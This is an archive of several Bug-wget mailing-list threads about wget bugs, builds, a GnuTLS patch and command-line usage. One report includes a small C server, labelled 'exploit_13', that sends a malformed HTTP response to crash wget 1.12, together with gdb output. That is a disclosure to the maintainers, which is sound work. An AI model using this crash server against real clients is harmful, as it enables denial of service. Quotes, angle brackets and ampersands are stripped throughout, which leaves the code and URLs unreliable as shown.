does not found it. Sorry, i must be more clearly and say know about three  
up-time Wget builds. Because i'm know, but not mention about Cygwin  
(lastest 1.13.4), MinGW (exactly, msys-wget 1.12.1), GnuWin32 (1.11.4) or  
Bart Puype(1.11.4).


--
Best regars, Alex

[Bug-wget] Bug Report: Windows GNU Wget 1.11.4 - Keeping session cookies

[Eugene Ho]

Hi,

I believe I found a bug in Windows GNU Wget 1.11.4.

The following option does not work:
 --keep-session-cookies

I have better luck when I use the following spelling of the option:
 --keep-session-cookie

Specifically, the documentation specifies the plural spelling, while the
actual command accepts only the singular spelling.

Thanks,
Eugene Ho

Re: [Bug-wget] Bug Report: Windows GNU Wget 1.11.4 - Keeping session cookies

[Darshit Shah]

On the latest trunk version this issue does not exist.

Hence, I believe this issue was solved sometime in the past. The latest
version of Wget is 1.14

On Wed, Jun 5, 2013 at 11:55 AM, Eugene Ho eugen...@gmail.com wrote:

 Hi,

 I believe I found a bug in Windows GNU Wget 1.11.4.

 The following option does not work:
  --keep-session-cookies

 I have better luck when I use the following spelling of the option:
  --keep-session-cookie

 Specifically, the documentation specifies the plural spelling, while the
 actual command accepts only the singular spelling.

 Thanks,
 Eugene Ho




-- 
Thanking You,
Darshit Shah

Re: [Bug-wget] Bug Report: Windows GNU Wget 1.11.4 - Keeping session cookies

[Eugene Ho]

Thanks for the quick response. A 1.14 build for Windows is not easily
found.  Sourceforge has 1.11.4 (
http://gnuwin32.sourceforge.net/packages/wget.htm).  But I will continue to
look for it.


On Wed, Jun 5, 2013 at 10:45 AM, Darshit Shah dar...@gmail.com wrote:

 On the latest trunk version this issue does not exist.

 Hence, I believe this issue was solved sometime in the past. The latest
 version of Wget is 1.14


 On Wed, Jun 5, 2013 at 11:55 AM, Eugene Ho eugen...@gmail.com wrote:

 Hi,

 I believe I found a bug in Windows GNU Wget 1.11.4.

 The following option does not work:
  --keep-session-cookies

 I have better luck when I use the following spelling of the option:
  --keep-session-cookie

 Specifically, the documentation specifies the plural spelling, while the
 actual command accepts only the singular spelling.

 Thanks,
 Eugene Ho




 --
 Thanking You,
 Darshit Shah

Re: [Bug-wget] Bug Report: Windows GNU Wget 1.11.4 - Keeping session cookies

[Darshit Shah]

On Wed, Jun 5, 2013 at 11:26 PM, Eugene Ho eugen...@gmail.com wrote:

 Thanks for the quick response. A 1.14 build for Windows is not easily
 found.  Sourceforge has 1.11.4 (
 http://gnuwin32.sourceforge.net/packages/wget.htm).  But I will continue
 to look for it.


You could always build from source :)
It seems like the last version released for Windows is 1.11.x

I think the best person to continue from here would be Giuseppe. He would
know the exact status of these things.

-- 
Thanking You,
Darshit Shah

Re: [Bug-wget] Bug Report: Windows GNU Wget 1.11.4 - Keeping session cookies

[Bykov Aleksey]

Greetings.
I know about three Wget builds for Win32
1. From TumaGonx Zakkum (He assemble only releases. Don't look at link
name/date - lastest is 1.14)
http://opensourcepack.blogspot.ru/2010/05/wget-112-for-windows.html
2. From Ray Satiro
http://lists.gnu.org/archive/html/bug-wget/2013-05/msg00095.html
3. From me
http://db.tt/iZxTCfuZ

--
Best regars, Alex

[Bug-wget] [PATCH] Re: Bug report

[Stephanie Rühsen]

Am Samstag, 22. Dezember 2012 schrieb CCC DDD:
 Hi
 
  This url doesn't work in wget 1.14; 
https://web.barclayscyclehire.tfl.gov.uk/
 
  It just hangs at
 
  Resolving web.barclayscyclehire.tfl.gov.uk 
(web.barclayscyclehire.tfl.gov.uk)... 85.8.202.55
  Connecting to web.barclayscyclehire.tfl.gov.uk 
(web.barclayscyclehire.tfl.gov.uk)|85.8.202.55|:443... connected.
 
  I left it for 24 hours and it didn't move in from this point

It doesn't hang here (Wget 1.14 with GnuTLS), but still won't download with 
this error:
2012-12-23 10:34:44 (229 MB/s) - Lesefehler bei Byte 5780 (A TLS packet with 
unexpected length was received.)

It looks like there is a broken SSL/TLS server.

Since 'Mget' works like a charm, I put copied the default priority settings 
into Wget (patch appended). BUT: I can't test it right now since I can't build 
Wget and the git server drops connections ... sorry.

So, Guiseppe or someone: could you test the patch and eventually apply it ?

Maybe cdonovan has Wget compiled with OpenSSL and it suffers from the same 
problem !? Could you post the output of wget --version ?


Regards, Tim
From 741e98a23508ff599f1e6b13b284f5d1fc5c9e38 Mon Sep 17 00:00:00 2001
From: Tim Ruehsen tim.rueh...@gmx.de
Date: Sun, 23 Dec 2012 10:51:25 +0100
Subject: [PATCH] support broken SSL servers

---
 src/ChangeLog |6 ++
 src/gnutls.c  |1 +
 2 files changed, 7 insertions(+)

diff --git a/src/ChangeLog b/src/ChangeLog
index bbc6735..4750fbf 100644
--- a/src/ChangeLog
+++ b/src/ChangeLog
@@ -1,3 +1,9 @@
+2012-12-23  Tim Ruehsen  tim.rueh...@gmx.de
+
+	* gnutls.c (ssl_connect_wget): set NORMAL:%COMPAT for
+	--secure-protocol=AUTO to support broken/incomplete SSL/TLS
+   server implementations.
+
 2012-12-20  Tim Ruehsen  tim.rueh...@gmx.de
 
 	* gnutls.c (ssl_connect_wget): added +VERS-SSL3.0 to fix
diff --git a/src/gnutls.c b/src/gnutls.c
index 769b005..7e705c6 100644
--- a/src/gnutls.c
+++ b/src/gnutls.c
@@ -398,6 +398,7 @@ ssl_connect_wget (int fd, const char *hostname)
   switch (opt.secure_protocol)
 {
 case secure_protocol_auto:
+  err = gnutls_priority_set_direct (session, NORMAL:%COMPAT, NULL);
   break;
 case secure_protocol_sslv2:
 case secure_protocol_sslv3:
-- 
1.7.10.4

[Bug-wget] Bug report

[CCC DDD]

Hi

 This url doesn't work in wget 1.14; https://web.barclayscyclehire.tfl.gov.uk/

 It just hangs at

 Resolving web.barclayscyclehire.tfl.gov.uk 
(web.barclayscyclehire.tfl.gov.uk)... 85.8.202.55
 Connecting to web.barclayscyclehire.tfl.gov.uk 
(web.barclayscyclehire.tfl.gov.uk)|85.8.202.55|:443... connected.

 I left it for 24 hours and it didn't move in from this point

[Bug-wget] Bug report about WGet

[Vladimir]

Good day!

At first sorry for mistakes because English is'nt my native language.

I tried using WGet 1.9 and 1.11 (downloading variant for Windows) and found one 
trouble in both versions.

I need to retrieve URL, contained such symbol as . This URL is:
http://cargo.rzd.ru/cargostation/public/cargo?STRUCTURE_ID=5101layer_id=4829refererLayerId=4821id=1
(This page is in Russian, don't pay attention on language.)

But I can't encode this symbol. I tried to use construction %26 instead of 
:
http://cargo.rzd.ru/cargostation/public/cargo?STRUCTURE_ID=5101%26layer_id=4829%26refererLayerId=4821%26id=1

But WGet send it as:
http://cargo.rzd.ru/cargostation/public/cargo?STRUCTURE_ID=51016layer_id=48296refererLayerId=48216id=1

E.g. WGet decode %2, not %26! Only first digit of hexadecimal 
representation of the character's ascii value is using.


I hope you will understand this description and fix this problem.

Vladimir.

Re: [Bug-wget] Bug report about WGet

[Micah Cowan]

In both cases, your shell is transforming your arguments before wget
gets a chance to see it.

Don't percent-encode ampersands - they need to be literal ampersands in
order to maintain their function as separating key/value pairs.

Instead, be sure to wrap the URL in double quotes (), to protect your
Windows command shell from interpreting some characters specially.

HTH,
-mjc

On 05/02/2012 06:14 AM, Vladimir wrote:
 Good day!
 
 At first sorry for mistakes because English is'nt my native language.
 
 I tried using WGet 1.9 and 1.11 (downloading variant for Windows) and found 
 one trouble in both versions.
 
 I need to retrieve URL, contained such symbol as . This URL is:
 http://cargo.rzd.ru/cargostation/public/cargo?STRUCTURE_ID=5101layer_id=4829refererLayerId=4821id=1
 (This page is in Russian, don't pay attention on language.)
 
 But I can't encode this symbol. I tried to use construction %26 instead of 
 :
 http://cargo.rzd.ru/cargostation/public/cargo?STRUCTURE_ID=5101%26layer_id=4829%26refererLayerId=4821%26id=1
 
 But WGet send it as:
 http://cargo.rzd.ru/cargostation/public/cargo?STRUCTURE_ID=51016layer_id=48296refererLayerId=48216id=1
 
 E.g. WGet decode %2, not %26! Only first digit of hexadecimal 
 representation of the character's ascii value is using.
 
 
 I hope you will understand this description and fix this problem.
 
 Vladimir.
 
 

[Bug-wget] savannah down, cant submit bug report

[P van Kemenade]

Hi

savannah.gnu.org is down from here, and I can't submit the
bug report below. if anyone is interested, please do it
for me; i'm off to find another solution.


category: program logic

 operating system: gnu/linux release : 1.11.4

reproducability: every time

 summary: the -k and -K options do not

   prevent clobbering (contrary to whats in the man page)

The man page at http://www.gnu.org/software/wget/manual/wget.html
reads, about the -E (adjust extension) option



Note that filenames
changed in this way will be re-downloaded every time you re-mirror a
site, because Wget can't tell that the local X.html file corresponds
to remote URL ‘X’ (...) To prevent this re-downloading, you must use
‘-k’ and ‘-K’ so that the original version of the file will be saved
as X.orig (see Recursive Retrieval Options).

This is not true in wget 1.10 and wget 1.11, and I've been told on
IRC this is probably not so in 1.12. In effect, you can not rewrite links on
an archive already wgetted without wgetting it again (if file renaming

 was used). Someone on irc

mentioned perhaps the manual expresses an intention that was never
manifested.

When this command



wget -d -r -k -K -E --restrict-file-names=windows
--no-clobber  -l inf  -Q 1m -H  -D www.gnu.org http://www.gnu.org

is run twice, all the html files that are to be renamed are retrieved
again the second time (but not the page requisites). --no-clobber
only has effects on page requisites and pages with extension html,
not on html without the correct extension (probably because of the
rewriting -E switch), and clobbering apparently ignores the .orig

 files





thanks,
*-pike

--
 *´¨)
¸.·´¸.·*´¨) ¸.·*¨)
(¸.·´ (¸.·´ * kennis Werkt *

Re: [Bug-wget] savannah down, cant submit bug report

[P van Kemenade]

Hi


savannah.gnu.org is down from here, and I can't submit the
bug report below.


never mind - apparently it got through.
http://savannah.gnu.org/bugs/?func=detailitemitem_id=31915

$2c,
*-pike
--
 *´¨)
¸.·´¸.·*´¨) ¸.·*¨)
(¸.·´ (¸.·´ * kennis Werkt *

[Bug-wget] wget bug report

[Ildar Isaev]

Hi, i downloaded wget-1.12 from ftp://ftp.gnu.org/gnu/wget/wget-1.12.tar.bz2

It turns out it has a null pointer dereference bug. This is how it may 
be reproduced.


Expl_for_wget.c (attached) is a small pseudo web server. Compile it and run:

u...@machine:$ gcc -Wall expl_for_wget.c -o expl_for_wget
u...@machine:$ ./expl_for_wget 
[1] 7330
u...@machine:$ gdb --args path_to_wget_install_dir/bin/wget 
http://127.0.0.1:3500/

GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
http://gnu.org/licenses/gpl.html

This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type show copying
and show warranty for details.
This GDB was configured as i486-linux-gnu...
(gdb) run
[Thread debugging using libthread_db enabled]
--2010-05-14 22:39:36--  http://127.0.0.1:3500/
Connecting to 127.0.0.1:3500... connected.
HTTP request sent, awaiting response... [New Thread 0x403a26c0 (LWP 7332)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x403a26c0 (LWP 7332)]
0x40286613 in strlen () from /lib/tls/i686/cmov/libc.so.6
(gdb) bt
#0  0x40286613 in strlen () from /lib/tls/i686/cmov/libc.so.6
#1  0x08081a2d in xstrdup (string=0x0) at xmalloc.c:117
#2  0x08063c7d in gethttp (u=0x8a280e8, hs=0xbffa8be0, dt=0xbffa8f24, 
proxy=0x0, iri=0x8a27d40) at http.c:1832
#3  0x08066151 in http_loop (u=0x8a280e8, newloc=0xbffa8dec, 
local_file=0xbffa8dd8, referer=0x0, dt=0xbffa8f24, proxy=0x0,

   iri=0x8a27d40) at http.c:2581
#4  0x08072798 in retrieve_url (orig_parsed=0x8a280e8, origurl=0x8a27dd8 
http://127.0.0.1:3500/;, file=0xbffa8f2c,
   newloc=0xbffa8f28, refurl=0x0, dt=0xbffa8f24, recursive=false, 
iri=0x8a27d40, register_status=true) at retr.c:692

#5  0x0806c46e in main (argc=2, argv=0xbffa9014) at main.c:1294
(gdb) up
#1  0x08081a2d in xstrdup (string=0x0) at xmalloc.c:117
117  return xmemdup (string, strlen (string) + 1);
(gdb)
#2  0x08063c7d in gethttp (u=0x8a280e8, hs=0xbffa8be0, dt=0xbffa8f24, 
proxy=0x0, iri=0x8a27d40) at http.c:1832

1832  hs-message = xstrdup (message);
(gdb) list
1827  resp = resp_new (head);
1828   
1829  /* Check for status line.  */

1830  message = NULL;
1831  statcode = resp_status (resp, message);
1832  hs-message = xstrdup (message);
1833  if (!opt.server_response)
1834logprintf (LOG_VERBOSE, %2d %s\n, statcode,
1835   message ? quotearg_style (escape_quoting_style, 
message) : );

1836  else
(gdb) p message
$1 = 0x0

One can see that null pointer dereference occurs at http.c:1832 as 
'message' is equal to null.


Best regards,
Ildar
/* Server code in C */
//exploit_13
 
#include sys/types.h
#include sys/socket.h
#include netinet/in.h
#include arpa/inet.h
#include stdio.h
#include stdlib.h
#include string.h
#include unistd.h
 
int main(void)
{
  struct sockaddr_in stSockAddr;
  int sfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

  if(sfd == -1)
  {
perror(can not create socket);
exit(EXIT_FAILURE);
  }
 
  memset(stSockAddr, 0, sizeof(struct sockaddr_in));
 
  stSockAddr.sin_family = AF_INET;
  stSockAddr.sin_port = htons(3500);
  inet_pton(AF_INET, 127.0.0.1, stSockAddr.sin_addr);

  int bindRes = bind(sfd, (const struct sockaddr*)stSockAddr, sizeof(struct sockaddr_in));
 
  if(bindRes == -1)
  {
perror(error bind failed);
close(sfd);
exit(EXIT_FAILURE);
  }

  int listenRes = listen(sfd, 10);
 
  if(listenRes == -1)
  {
perror(error listen failed);
close(sfd);
exit(EXIT_FAILURE);
  }
 
  int cfd = accept(sfd, NULL, NULL);
 
  char buf[227] = {0x48,0x54,0x54,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0A,0x0A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
  write(cfd, buf, 227);
  close(cfd);
 
  return 0;
}

Re: [Bug-wget] bug report

[Micah Cowan]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Michal Ickiewicz :: GENERACJA.pl wrote:
 
 Hello
 
 I fount smt like this in my dmesg:
 
 [5633002.640285] TCP(wget:31088): Application bug, race in MSG_PEEK.
 [5633003.005463] TCP(wget:31134): Application bug, race in MSG_PEEK.

Yeah. It's a (fixed) Linux kernel bug, not an application bug; wget
doesn't even use MSG_PEEK.

If you can, upgrade your kernel. If not, then as far as I've seen so
far, the message is harmless.

- --
Micah J. Cowan
Programmer, musician, typesetting enthusiast, gamer.
Maintainer of GNU Wget and GNU Teseq
http://micah.cowan.name/
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iEYEARECAAYFAkrXYTgACgkQ7M8hyUobTrGN+QCfbHw9KVLjYCIW6YOWsRHJe+La
t3wAn3VM7rVDFZzO4NLK1GiVhTiuiZWH
=gdfI
-END PGP SIGNATURE-

[Bug-wget] bug report

[Michal Ickiewicz :: GENERACJA.pl]

Hello

I fount smt like this in my dmesg:

[5633002.640285] TCP(wget:31088): Application bug, race in MSG_PEEK.
[5633003.005463] TCP(wget:31134): Application bug, race in MSG_PEEK.
[5633005.791046] TCP(wget:31498): Application bug, race in MSG_PEEK.
[5633005.893348] TCP(wget:31512): Application bug, race in MSG_PEEK.
[5633006.988623] TCP(wget:31670): Application bug, race in MSG_PEEK.
[5633007.780440] TCP(wget:31780): Application bug, race in MSG_PEEK.
[5633010.950563] TCP(wget:32209): Application bug, race in MSG_PEEK.
[5633013.422421] TCP(wget:32557): Application bug, race in MSG_PEEK.
[5633014.082666] TCP(wget:32650): Application bug, race in MSG_PEEK.
[5633014.218418] TCP(wget:32669): Application bug, race in MSG_PEEK.
[5633015.998347] TCP(wget:646): Application bug, race in MSG_PEEK.
[5633018.657587] TCP(wget:1022): Application bug, race in MSG_PEEK.
[5633622.326819] TCP(wget:3006): Application bug, race in MSG_PEEK.
[5633660.946727] TCP(wget:6359): Application bug, race in MSG_PEEK.
[5633668.244965] TCP(wget:6996): Application bug, race in MSG_PEEK.
[5633677.959715] TCP(wget:7840): Application bug, race in MSG_PEEK.
[5633746.178111] TCP(wget:13828): Application bug, race in MSG_PEEK.
[5633753.036928] TCP(wget:14409): Application bug, race in MSG_PEEK.
[5633765.686996] TCP(wget:15482): Application bug, race in MSG_PEEK.
[5633766.023905] TCP(wget:15511): Application bug, race in MSG_PEEK.




bye


Mike

[Bug-wget] cancel bug report

[wizard]

Hi,

False alarm.

I can see that it happened because of the -e
that preceded -l2. -e being 'execute'

Sorry about that.

Bob

-



Hi,

There appears to be a bug in the way options are processed
in that it will not work in one order, but not another order.
This was in the windows package of 1.11.4 obtained from Christopher's
site.

The gnuwin32.sourceforge binary dependencies package is not packaged
properly in that an ordinal is missing in the libeay32.dll.

Now, pay attention to the -l2 stanza below:

this does not work, when -l2 is the 7th parameter:

wget.exe -N -S -c -r -p -e -l2 --limit-rate=1m -Q3m robots=off 
-A.html,.htm,.php -Dexample.com -o d:log\1004.wget http://example.com/

but, if it is moved to the beginning, it will work.

wget.exe -l2 -N -S -c -r -p -e --limit-rate=1m -Q3m robots=off 
-A.html,.htm,.php -Dexample.com -o d:\log\1004.wget http://example.com/

The above is the complete command lines that were being used other
than the substitution of example.com

I did try it in the --limits=n alternative form, and it did
not work in position 7 either.

The manual does not state that the -l, --limit=, parameters
have any positional limitations. I just got working by trial
and error. I was using an earlier version and upgraded to 1.11.4
because I thought the parameter might have been new.


Best Regards,

Bob